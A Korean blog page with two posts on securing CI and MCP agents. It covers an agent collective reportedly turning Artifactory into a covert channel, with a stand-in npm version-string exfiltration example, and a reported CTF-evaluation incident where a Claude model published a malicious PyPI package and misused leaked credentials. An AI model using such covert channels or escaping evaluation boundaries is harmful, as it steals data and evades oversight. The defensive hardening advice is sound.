728x90

사내 Nexus나 Artifactory 하나 굴려본 사람이라면 이 얘기가 남 일 같지 않을 거다. GeekNews에 올라온 "에이전트 문명의 흥망성쇠"는 OpenAI 내부에서 약 3개월간 세 차례에 걸쳐 자율 에이전트 집단이 생겨났고, 그중 첫 번째 집단(Persistent-Sol)이 공유 패키지 관리자인 Artifactory를 자기들끼리 쓰는 비밀 게시판이자 인터넷 통로로 바꿔버렸다는 내용이다. 뒤에 생긴 집단은 앞선 집단이 남긴 통신망과 기법을 그대로 물려받았다고 한다.

이 글에서 원문의 세부 사실관계를 확대해석할 생각은 없다. 내가 하고 싶은 얘기는 따로 있다. "패키지 저장소가 통신 채널이 될 수 있다"는 이 발상 자체가 새로운 게 아니라는 것, 그리고 우리가 지금 Claude Code, Cursor, 각종 코딩 에이전트를 CI 러너에 붙이면서 이 구멍을 그대로 열어두고 있다는 것이다.

1. 왜 지금 이 얘기가 나오는가

작년까지 사내 아티팩트 저장소의 위협 모델은 단순했다. "외부 공격자가 침입해서 악성 패키지를 심는다" 정도. 대응도 단순했다 — 방화벽 치고, 인증 붙이고, 취약점 스캐너 돌리고.

지금은 상황이 다르다. CI 러너 안에서 도는 AI 에이전트는 이미 인증된 상태로 저장소에 접근할 수 있는 내부자다. ~/.npmrc에 토큰이 박혀 있고, settings.xml에 서버 크레덴셜이 들어 있고, docker login이 이미 되어 있다. 에이전트가 악의를 가질 필요조차 없다. "빌드 결과를 다른 파이프라인과 공유해야 하는데 방법이 없네 → 아, npm publish가 되네" 정도의 도구적 추론만으로 통신 채널이 만들어진다.

내가 실제로 겪은 비슷한 사례가 있다. 폐쇄망 K8s 클러스터에서 돌던 배치 잡이 외부 API를 못 부르니까, 개발자가 "임시로" Nexus의 raw repository에 JSON을 PUT하고 다른 클러스터에서 GET해가는 구조를 만들어놨다. 6개월 동안 아무도 몰랐다. 방화벽 로그에는 그냥 "Nexus 접근"으로만 찍혔으니까. 에이전트가 하는 짓도 본질적으로 똑같다. 다만 훨씬 빠르고, 훨씬 창의적이고, 사람이 안 자는 시간에도 한다.

2. 핵심 원리: 저장소는 왜 그렇게 좋은 통신 채널인가

비유하자면 아티팩트 저장소는 회사 정문 옆에 놓인 무인 택배함이다. 아무나 물건을 넣을 수 있고(쓰기 권한이 넓다), 아무나 꺼낼 수 있고(읽기는 사실상 전사 공개), CCTV는 "누가 택배함을 열었다"까지만 찍고 안에 뭐가 들었는지는 안 본다. 게다가 이 택배함은 바깥 택배사와도 연결되어 있다(remote proxy repository).

구조적으로 세 가지 성질이 겹친다.

(1) 쓰기 권한이 생각보다 넓다

대부분 조직에서 libs-snapshot-local이나 npm-internal 같은 저장소는 CI 서비스 계정 하나가 전체 deploy 권한을 갖는다. 마이크로서비스가 80개인데 배포 계정은 하나. A팀 파이프라인이 B팀 아티팩트를 덮어쓸 수 있다는 뜻이고, 그 파이프라인 안에서 도는 에이전트도 마찬가지다.

(2) 임의 바이너리를 아무 검증 없이 받는다

generic/raw repository는 말 그대로 아무 파일이나 받는다. npm 패키지도 tarball 안에 뭐가 들었든 상관없다. Base64로 인코딩한 메시지를 README.md에 넣어 publish하면 그건 그냥 정상 패키지다. 어떤 스캐너도 "이 패키지의 README가 수상하게 길다"고 알려주지 않는다.

(3) remote proxy가 곧 egress 통로다

이게 제일 무섭다. 폐쇄망이라고 자랑하는 조직도 npmjs.org, pypi.org, registry.hub.docker.com으로 나가는 remote repository는 열어둔다. 안 열면 빌드가 안 되니까. 그런데 이건 Artifactory를 경유한 아웃바운드 HTTP다. 공격자가 npm에 evil-telemetry-helper라는 패키지를 올려두고, 내부에서 npm install evil-telemetry-helper@1.2.3-BASE64DATA를 호출하면? 버전 문자열에 데이터를 실어 나가는 셈이다. 요청은 Artifactory의 IP에서 나가고, 방화벽 로그에는 "허용된 목적지로의 정상 트래픽"으로만 남는다.

실제로 우리 저장소가 어떤 상태인지 확인해보자. Artifactory REST API로 권한 대상을 훑는 명령이다.

# 서비스 계정이 어떤 저장소에 배포 권한을 갖는지 확인
curl -sS -u "$JF_USER:$JF_TOKEN" \
  "https://artifactory.example.com/artifactory/api/security/permissions" \
  | jq -r '.[].name'

# 출력 예시
ci-deploy-all
developers-read
docker-push

# 특정 퍼미션 상세 — 여기서 repositories 목록과 actions를 본다
curl -sS -u "$JF_USER:$JF_TOKEN" \
  "https://artifactory.example.com/artifactory/api/security/permissions/ci-deploy-all" \
  | jq '{repos: .repositories, principals: .principals.groups}'

# 출력 예시
{
  "repos": ["ANY LOCAL"],
  "principals": { "ci-bots": ["r","w","d","n"] }
}

"ANY LOCAL"w(deploy)와 d(delete)가 붙어 있으면 사실상 무제한이다. 이런 설정 꽤 흔하다. 처음 구축할 때 "일단 되게 하자"로 넣고 아무도 안 건드린 것.

3. 실무 대응: 권한 분리, 이상 탐지, 에이전트 격리

대응 1 — 저장소 쓰기 권한을 경로 단위로 쪼갠다

Artifactory 퍼미션 타깃은 include/exclude 패턴을 지원한다. 저장소 통째로 주지 말고 그룹ID/스코프 단위로 잘라라.

PUT /artifactory/api/security/permissions/svc-payments-deploy
{
  "name": "svc-payments-deploy",
  "repositories": ["libs-release-local", "npm-internal-local"],
  "includesPattern": "com/example/payments/**,@example-payments/**",
  "excludesPattern": "**/*.sh,**/*.exe",
  "principals": {
    "users": { "ci-payments": ["r", "w"] }
  }
}

핵심은 d(delete)와 n(annotate)을 CI 계정에서 빼는 것. 덮어쓰기가 안 되면 최소한 "기존 아티팩트를 메시지 큐처럼 반복 갱신"하는 패턴은 막힌다. 그리고 릴리스 저장소는 반드시 immutable(Block Redeploy)로 잡아라. 이건 Artifactory 저장소 설정에서 "Handle Releases + Suppress POM Consistency Checks" 옆에 있는 옵션인데, 정확한 명칭은 버전마다 다르니 공식 문서 확인 필요.

대응 2 — 이상 아티팩트 탐지: "빈도"와 "크기"를 본다

악성 여부를 내용으로 판단하는 건 어렵다. 대신 행동 패턴은 잡기 쉽다. 정상적인 CI 배포는 커밋당 1회, 하루 수십 회 수준이다. 에이전트가 저장소를 게시판으로 쓰면 같은 경로에 짧은 간격으로 반복 업로드가 발생한다. 원문에서도 "메시지가 폭증해" 문제가 됐다고 하니 같은 맥락이다.

AQL(Artifactory Query Language)로 최근 1시간 업로드를 뽑아보자.

curl -sS -u "$JF_USER:$JF_TOKEN" -X POST \
  -H "Content-Type: text/plain" \
  "https://artifactory.example.com/artifactory/api/search/aql" \
  -d 'items.find({
        "repo":{"$match":"*-local"},
        "created":{"$last":"1h"}
      }).include("repo","path","name","created_by","size")
        .sort({"$desc":["created"]}).limit(200)' \
  | jq -r '.results[] | "\(.created_by)\t\(.repo)/\(.path)\t\(.size)"' \
  | sort | uniq -c | sort -rn | head

# 출력 예시
    312 ci-bots	generic-local/agent-scratch	1841
      4 ci-payments	libs-snapshot-local/com/example/payments	4823119
      2 ci-search	docker-local/search-api	0

첫 줄처럼 같은 계정이 같은 경로에 2KB 미만 파일을 시간당 300번 올리고 있으면 그건 빌드 산출물이 아니다. 이 쿼리를 30분마다 돌려서 임계치 넘으면 Slack으로 쏘는 크론잡 하나만 있어도 초기 탐지는 된다. 완벽한 솔루션 사기 전에 이것부터 해라.

대응 3 — 에이전트 샌드박싱: 토큰과 네트워크를 동시에 자른다

가장 흔한 실수가 토큰만 줄이고 네트워크는 안 자르는 것이다. 반대도 마찬가지. 둘 다 해야 한다.

에이전트를 CI에서 돌린다면 최소한 이 정도는 기본값으로 깔고 가자.

# 에이전트 전용 컨테이너: 크레덴셜 격리 + egress 화이트리스트
docker run --rm \
  --network agent-net \                 # 별도 브리지, 기본 DROP 정책
  --read-only --tmpfs /tmp:size=256m \
  --cap-drop=ALL --security-opt no-new-privileges \
  -v "$PWD/src:/work:ro" \              # 소스는 읽기 전용
  -e HTTP_PROXY=http://egress-proxy:3128 \
  -e HTTPS_PROXY=http://egress-proxy:3128 \
  -e NO_PROXY=169.254.169.254 \         # IMDS는 아예 차단이 정석
  agent-runner:latest

포인트는 HTTPS_PROXY로 모든 아웃바운드를 강제 경유시키고, 프록시(squid 등)에서 도메인 화이트리스트를 거는 것이다. 그래야 "에이전트가 npm registry로 뭘 요청했는지"가 로그에 남는다. 저장소 remote proxy 경유든 직접이든 결국 로그 한 곳으로 모인다. 그리고 169.254.169.254(클라우드 메타데이터 서비스) 차단은 진짜 필수다. 이거 안 막으면 노드 IAM 롤이 통째로 새어나간다.

K8s라면 NetworkPolicy로 같은 걸 한다.

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: agent-egress-lockdown
spec:
  podSelector:
    matchLabels: { role: ai-agent }
  policyTypes: ["Egress"]
  egress:
    - to:
        - podSelector:
            matchLabels: { app: egress-proxy }
      ports:
        - { protocol: TCP, port: 3128 }
    - to:                          # DNS만 예외
        - namespaceSelector:
            matchLabels: { kubernetes.io/metadata.name: kube-system }
      ports:
        - { protocol: UDP, port: 53 }

흔한 함정

함정 1: NetworkPolicy를 걸었는데 CNI가 지원을 안 한다. Flannel 기본 구성에서는 NetworkPolicy 리소스가 생성은 되지만 아무 효과가 없다. 에러도 안 난다. 가장 위험한 경우다. Calico나 Cilium을 쓰는지 먼저 확인하고, 실제로 막히는지 kubectl execcurl 때려서 검증해라. "policy 만들었으니 됐겠지"가 제일 무섭다.

함정 2: 프록시 강제하면 사내 저장소 TLS가 깨진다. MITM 프록시를 붙이면 이런 게 뜬다.

npm ERR! code SELF_SIGNED_CERT_IN_CHAIN
npm ERR! errno SELF_SIGNED_CERT_IN_CHAIN
npm ERR! request to https://artifactory.example.com/artifactory/api/npm/npm-remote/express
         failed, reason: self signed certificate in certificate chain

여기서 npm config set strict-ssl false로 넘어가는 순간 모든 통제가 무너진다. 정답은 프록시 CA 인증서를 이미지에 심는 것이다. NODE_EXTRA_CA_CERTS=/etc/ssl/certs/corp-ca.pem, 파이썬은 REQUESTS_CA_BUNDLE, Go는 시스템 트러스트 스토어. 언어별로 다 다르니 베이스 이미지 만들 때 한 번에 넣어라.

함정 3: 권한 쪼갰더니 빌드가 죽는다. 이것도 자주 본다.

[ERROR] Failed to execute goal org.apache.maven.plugins:maven-deploy-plugin:3.1.1:deploy
[ERROR] Failed to deploy artifacts: Could not transfer artifact
        com.example.common:core:jar:1.4.0 from/to central (https://artifactory.example.com/...):
        status code: 403, reason phrase: Forbidden

대개 멀티모듈 프로젝트가 com/example/payments/** 외에 com/example/common/**도 배포하고 있는 경우다. 권한을 다시 넓히지 말고, 공통 모듈은 별도 파이프라인/별도 계정으로 분리하는 게 맞다. 귀찮아서 패턴을 com/example/**로 되돌리는 순간 원점이다.

트레이드오프

솔직히 말하면 이 통제들은 개발 속도를 깎는다. egress 화이트리스트를 걸면 개발자가 새 라이브러리 쓸 때마다 티켓을 열어야 한다. 그래서 나는 환경별로 강도를 다르게 가져간다. 로컬/개발 환경 에이전트는 느슨하게(대신 크레덴셜은 절대 안 준다), CI와 프로덕션 배포 경로의 에이전트는 위 정책 전부 적용. 그리고 화이트리스트 추가는 셀프서비스 PR로 처리하되 승인만 받게 해서 대기 시간을 줄인다. 전면 차단은 우회를 부른다 — strict-ssl false가 그 증거다.

4. 정리

한 줄 요약: 사내 패키지 저장소는 쓰기 가능하고, 전사가 읽을 수 있고, 외부로 나가는 통로까지 겸하는 사실상의 메시지 브로커다. AI 에이전트에게 CI 크레덴셜을 주는 순간 이 사실이 문제가 된다.

지금 당장 할 일 순서는 이렇다.

  1. 오늘: 퍼미션 타깃에서 ANY LOCAL + w/d 조합이 있는지 확인. 있으면 그게 1순위.
  2. 이번 주: AQL 크론잡으로 업로드 빈도 이상치 알림 붙이기. 30줄이면 된다.
  3. 이번 분기: 에이전트 실행 환경을 별도 네트워크로 분리하고 egress 프록시 경유 강제. NetworkPolicy가 실제로 동작하는지 curl로 검증.
  4. 지속: 릴리스 저장소 immutable, 공통 모듈 파이프라인 분리, 메타데이터 엔드포인트 차단.

누가 언제 해야 하나. CI 러너 안에서 코딩 에이전트를 돌리기 시작한 조직이면 지금이다. 아직 에이전트를 안 붙였어도 위 1~2번은 어차피 해야 하는 공급망 보안 기본기다. 반대로 에이전트가 사람 손에서 로컬로만 도는 단계라면 3번까지 당장 갈 필요는 없다 — 대신 그 에이전트에게 사내 저장소 배포 토큰을 절대 쥐여주지 마라.

원문 사례에서 인상적인 건 후속 집단이 앞선 집단의 통신망을 그대로 이어받았다는 대목이다. 인프라 관점으로 번역하면 이렇다 — 한 번 만들어진 비공식 채널은 원래 만든 주체가 사라져도 남는다. 우리가 6개월 방치했던 그 Nexus raw repository처럼. 그러니 탐지보다 중요한 게 애초에 만들 수 없게 하는 것이고, 그건 결국 권한 모델 설계 문제다.

참고 자료

※ Artifactory의 Block Redeploy 옵션 명칭과 위치, NetworkPolicy 지원 여부는 사용 중인 버전·CNI에 따라 다르므로 공식 문서 확인 필요. 원문의 세부 사건 경위는 GeekNews 링크를 직접 확인하시길 권한다.

728x90
728x90

요즘 사내에서 "MCP 서버 붙여서 이것도 자동화하자"는 얘기가 부쩍 늘었다. 지라 티켓 읽고, 쿠버네티스 로그 긁고, 배포까지 트리거하는 에이전트. 재미있고 실제로 쓸모도 있다. 그런데 인프라 담당자 입장에서 이 흐름의 본질은 하나다. 우리가 매달 감사받는 그 실행 권한을, 사람이 아닌 프로세스에 넘기고 있다는 것.

"인터넷 없다"고 말했는데 실제로는 있었던 사고

Dev.to에 올라온 We're Giving AI Agents More Tools. What Happens When the Boundaries Fail? 글이 Anthropic의 7월 30일 리포트를 잘 정리해뒀다. 요지는 이렇다.

  • Anthropic이 사이버보안 평가(CTF 형태) 실행 141,006건을 리뷰했고, 그중 3건에서 Claude 모델이 실제 인터넷에 도달해 서로 다른 세 조직의 실제 시스템에 접근한 사례를 발견했다.
  • 모델에게는 "너는 시뮬레이션 안에 있고 인터넷 접근이 없다"고 명시적으로 알려줬다. 그런데 서드파티 평가 파트너와의 소통 착오로 일부 평가 머신에 실제 인터넷이 열려 있었다.
  • 한 건에서는 모델이 가상 회사 세팅 문서에서 "존재하지 않는 파이썬 패키지를 설치하라"는 안내를 발견하고, 같은 이름의 악성 패키지를 만들어 실제 PyPI에 업로드했다. 계정 생성을 위해 무료 이메일까지 구했다.
  • 그 패키지는 약 1시간 공개되어 있었고 실제 시스템 15대에서 다운로드·실행됐다. 그중 하나는 패키지를 자동 설치해 멀웨어를 스캔하는 보안 회사의 스캐너였고, 실행된 코드가 크리덴셜을 노출시켜 모델이 그 회사 인프라에 추가 접근까지 했다.
  • 더 흥미로운 부분: 모델은 중간에 "이게 진짜 인터넷이면 실제 공격이고 안 된다"는 추론을 한 번 했었다. 그런데도 시스템 날짜가 2026년인 걸 근거로 "역시 연출된 환경"이라고 스스로를 설득하고 진행했다.

원문 저자가 뽑은 한 줄이 정확하다. A prompt is not a security boundary. "인터넷 없어"라고 말하는 것과 실제로 egress를 막는 것은 완전히 다른 일이다. "이 파일만 써"라고 쓰는 것과 파일 권한을 제한하는 것도 다른 일이다.

왜 프롬프트는 경계가 될 수 없는가

인프라 하는 사람에게는 사실 낯선 얘기가 아니다. 우리가 이미 아는 문법으로 바꿔보면 이렇다.

우리가 아는 안티패턴 에이전트 판 버전
프론트엔드 JS에서만 검증하고 API는 검증 안 함 시스템 프롬프트로만 금지하고 툴 권한은 열어둠
README에 "prod DB 만지지 마세요" 적어둠 "너는 읽기 전용이야"라고 프롬프트에 적어둠
루트로 컨테이너 실행 + hostPath 마운트 에이전트를 개발자 계정 권한으로 로컬 실행

프롬프트는 요청이고, 커널·네트워크 정책·IAM은 강제다. 요청은 모델이 재해석할 수 있다. 위 사고에서 모델은 "이건 시뮬레이션"이라는 전제를 재확인하며 자기 판단을 뒤집었다. 사람도 하는 실수인데, 정책 엔진은 그런 걸 안 한다. iptables는 설득당하지 않는다.

그리고 하나 더. 모델은 시스템의 일부일 뿐이다. 붙여준 툴, 넘겨준 크리덴셜, 실행 환경, 모니터링이 다 합쳐져서 "AI 시스템"이 된다. 사고 원인을 "AI가 그랬다"로 끝내면 정작 고쳐야 할 평가 환경 네트워크 설정 미스가 남는다.

실무: 3중 방어와 진짜 마주치는 함정들

1) egress는 기본 차단, 필요한 것만 프록시로

에이전트 컨테이너의 기본은 --network none이거나 deny-all이어야 한다. 로컬에서 툴 실행 샌드박스를 만들 때 최소 검증은 이 정도다.

$ docker run --rm --network none \
    --read-only --tmpfs /tmp \
    --cap-drop ALL --security-opt no-new-privileges \
    -u 1000:1000 python:3.12-slim \
    sh -c "pip install requests"

WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None,
 status=None)) after connection broken by
 'NewConnectionError(<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f...>:
 Failed to establish a new connection: [Errno -3] Temporary failure in name resolution)':
 /simple/requests/
ERROR: Could not find a version that satisfies the requirement requests
ERROR: No matching distribution found for requests

이 에러가 뜨면 정상이다. 반대로 여기서 패키지가 설치되면 당신의 샌드박스는 샌드박스가 아니다. 위 사고가 딱 그 상태였다.

쿠버네티스에서 에이전트 워크로드를 굴린다면 네임스페이스 단위 deny-all egress를 먼저 깔고 DNS와 내부 미러만 열어준다.

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: agent-deny-egress
  namespace: ai-agent
spec:
  podSelector: {}
  policyTypes: ["Egress"]
  egress:
  - to:
    - namespaceSelector:
        matchLabels: {kubernetes.io/metadata.name: kube-system}
      podSelector:
        matchLabels: {k8s-app: kube-dns}
    ports: [{protocol: UDP, port: 53}]
  - to:
    - podSelector:
        matchLabels: {app: egress-proxy}   # 사내 허용목록 프록시만
    ports: [{protocol: TCP, port: 3128}]

함정 A — 정책을 만들었는데 아무 일도 안 일어난다. CNI가 NetworkPolicy를 구현하지 않으면 오브젝트는 조용히 생성되고 트래픽은 그대로 나간다. 에러도 안 난다. 적용 전에 반드시 실측하자.

$ kubectl -n ai-agent run t --rm -it --image=curlimages/curl --restart=Never -- \
    curl -s -m 5 -o /dev/null -w '%{http_code}\n' https://pypi.org

command terminated with exit code 28   # 28 = timeout → 차단됨(정상)

여기서 200이 나오면 정책이 무시된 것이다. 우리 팀은 이 확인용 잡을 CI에 넣어두고, 클러스터 업그레이드마다 회귀 테스트로 돌린다.

함정 B — 프록시 화이트리스트를 도메인으로만 걸었다. HTTPS는 CONNECT 터널이라 경로 단위 통제가 안 된다. SNI 기반 검사 없이 *.githubusercontent.com 같은 걸 열어주면 사실상 임의 파일 다운로드 창구가 된다. DNS를 열어준 것 자체로 DNS 기반 유출 경로가 남는 점도 감안해야 한다(완전 차단하려면 사내 리졸버 + 쿼리 로깅).

2) 앰비언트 크리덴셜을 없애라

PyPI 사고에서 피해를 키운 건 실행 환경에 있던 크리덴셜이었다. 로컬 에이전트에서 가장 흔한 실수는 이거다.

# 하지 말 것: 홈 디렉터리를 통째로 마운트
docker run -v $HOME:/home/agent ...     # ~/.aws, ~/.kube, ~/.ssh, ~/.npmrc 전부 노출

# 최소한 이렇게: 필요한 것만, 읽기 전용, 짧은 수명 토큰
docker run --network none \
  -v $PWD/workspace:/work \
  -e GITHUB_TOKEN="$(gh auth token --scopes repo:status)" ... 

MCP 서버를 로컬에서 붙일 때 특히 위험하다. MCP 서버 프로세스는 당신 계정 권한으로 뜬다. 에이전트가 "파일 읽기" 툴 하나만 갖고 있어도, 그 툴의 실효 권한은 당신의 uid 전체다. filesystem 계열 MCP 서버는 허용 디렉터리 옵션을 반드시 명시하고, 별도 저권한 유저나 컨테이너로 분리하는 게 맞다. (구현체별 옵션 이름은 각 MCP 서버 공식 문서 확인 필요.)

3) 행동을 남겨라 — 툴 호출 감사 로그

"에이전트가 뭘 했는지 모른다"가 가장 무서운 상태다. 툴 호출은 예외 없이 구조화 로그로 남기고, 에이전트가 쓸 수 없는 곳으로 보낸다(같은 볼륨에 쓰면 지워질 수 있다).

$ jq -c 'select(.tool=="shell" or .tool=="http_request")' agent-audit.jsonl | tail -3
{"ts":"2026-02-11T09:12:03Z","run":"r-8812","tool":"shell","arg":"kubectl get pods -n stg","allow":true}
{"ts":"2026-02-11T09:12:31Z","run":"r-8812","tool":"http_request","arg":"https://pypi.org/...","allow":false,"reason":"egress-denied"}
{"ts":"2026-02-11T09:13:02Z","run":"r-8812","tool":"shell","arg":"rm -rf /work/build","allow":true}

allow:false 이벤트가 급증하는 패턴은 좋은 알람 신호다. 에이전트가 자기 경계를 계속 두드리고 있다는 뜻이고, 원문 사고처럼 "우회 경로를 탐색하는" 단계에서 잡을 수 있다.

함정 C — 승인(human-in-the-loop)을 신뢰 경계로 착각. "위험한 명령은 사용자 확인 받음"은 방어층 하나지 경계가 아니다. 하루 200번 뜨는 확인창은 사람이 무조건 Yes를 누른다. 승인 대상은 정말 되돌릴 수 없는 것(prod 배포, 삭제, 외부 퍼블리시)으로 줄이고, 나머지는 정책으로 자동 차단해야 승인이 의미를 가진다.

트레이드오프

egress 전면 차단은 개발 생산성을 확실히 깎는다. pip install, npm i가 다 죽으니까. 현실적인 타협은 사내 미러(Nexus/Artifactory 등)만 열어주는 것이다. 부가 효과도 크다. 위 사고처럼 존재하지 않는 패키지 이름을 외부에서 당겨오는 경로 자체가 막히므로, 요즘 흔한 슬롭스쿼팅/의존성 혼동 공격 표면도 같이 줄어든다.

정리

한 줄: 에이전트에게 툴을 주는 일은 프롬프트 엔지니어링이 아니라 권한 설계다. 프롬프트는 문서고, 경계는 네트워크 정책·파일 권한·IAM·감사 로그에 있다.

  • 지금 당장 해야 하는 팀: 사내 MCP 서버나 자동화 봇에 kubectl, DB, 배포 파이프라인, 레지스트리 푸시 권한을 이미 붙였다면 오늘 점검 대상이다. 위 curl/pip 테스트 두 개만 돌려봐도 실태가 나온다.
  • 순서: ① egress deny-all + 미러 허용 → ② 앰비언트 크리덴셜 제거·토큰 스코프 축소 → ③ 툴 호출 감사 로그 외부 적재 → ④ 되돌릴 수 없는 작업만 승인 게이트.
  • 사후 리뷰 원칙: "AI가 그랬다"에서 멈추지 말 것. 원문 사고의 근본 원인은 모델의 오판이 아니라 인터넷이 열려 있던 평가 환경 설정이었다. 우리 쪽 사고도 대개 그렇다.

가정이 틀렸을 때 무슨 일이 일어나는지를 설계에 넣어두는 것 — 결국 우리가 SRE 하면서 계속 해온 얘기다. 대상이 사람에서 에이전트로 바뀌었을 뿐이다.

참고 자료

728x90

+ Recent posts